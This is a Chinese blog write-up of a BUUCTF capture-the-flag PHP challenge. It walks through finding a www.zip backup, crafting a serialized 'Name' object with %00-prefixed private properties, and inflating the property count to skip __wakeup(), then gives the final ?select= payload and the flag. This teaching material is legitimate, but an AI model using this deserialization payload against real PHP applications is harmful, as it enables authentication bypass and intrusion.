BUUCTF [web专项16][极客大挑战 2019]PHP

进入后说有备份网站的习惯,查看源码和进入/flag.php中发现都没有线索,扫站

会发现有个www.zip(扫了好久,下载出来就关了,我就不再扫一遍了)

发现有flag.php,

提交后发现失败,再次寻找

打开index.php

发现unserialize(反序列化标志)

我在这方面不是很熟悉,直接开始冲浪

因为我看完之后找不到下手点(我纯笨b) ,开始冲浪别人的wp

参考:从0到1之php反序列化的成长之路-CSDN博客

参考:[极客大挑战 2019]PHP-CSDN博客

 看完了,好像会了,class.php中有destruck()函数

发现需求的是username恒等于'admin'且password要为100,这样才会输出flag,那么我们就需要进行修改来篡改成正确的数据

大佬的意思是将修改后的数据序列化输出,然后用序列化输出的数据再次绕过 __wakeup()函数的执行

<?php
 
class Name{
    private $username = ‘nonono‘;
    private $password = ‘yesyes‘;
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name(‘admin‘,100);
$b = serialize($a);
echo $b;

运行之后即可获得序列化的结果,

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

揭示:

但是现在还有两个问题,

1是username和password都是用private声明的,需要前加00才可

O:4:%22Name%22:2:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

2是需要绕过__wakeup的执行(大佬说:在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行)

O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

最终结果:

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

添加后即可获得flag

flag{e95052b8-e3bb-4386-93a6-8c09a9a3b11e}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值